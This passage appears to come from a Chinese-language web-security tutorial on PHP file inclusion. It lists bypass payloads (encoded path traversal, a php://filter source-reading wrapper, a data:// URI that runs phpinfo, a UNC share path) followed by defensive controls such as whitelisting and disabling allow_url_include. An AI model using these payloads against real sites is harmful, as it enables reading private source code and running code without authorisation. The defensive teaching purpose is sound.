URL 编码%2e%2e%2f 绕过简单字符串过滤
协议封装php://filter/convert.base64-encode/resource=index.php 读源码
数据流data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ 直接执行代码(需 allow_url_include=On
黑名单不完整只过滤 ../ 而允许 ..%2f;只过滤 http:// 而允许 \\<IP>\share

防御控制点

  • 白名单路由include 的文件名从白名单数组中取,不直接使用用户输入
  • 禁用 allow_url_include:PHP 配置项置 Off,彻底关闭 RFI
  • open_basedir 限制:PHP 配置限制 include 只能访问特定目录,阻止路径穿越到 Web 目录之外
  • 升级 PHP 版本register_globals 在 PHP 5.4 中已移除;%00 截断在 PHP 5.3.4 修复
  • 禁用危险协议:关闭 php://data://expect:// 等危险流封装器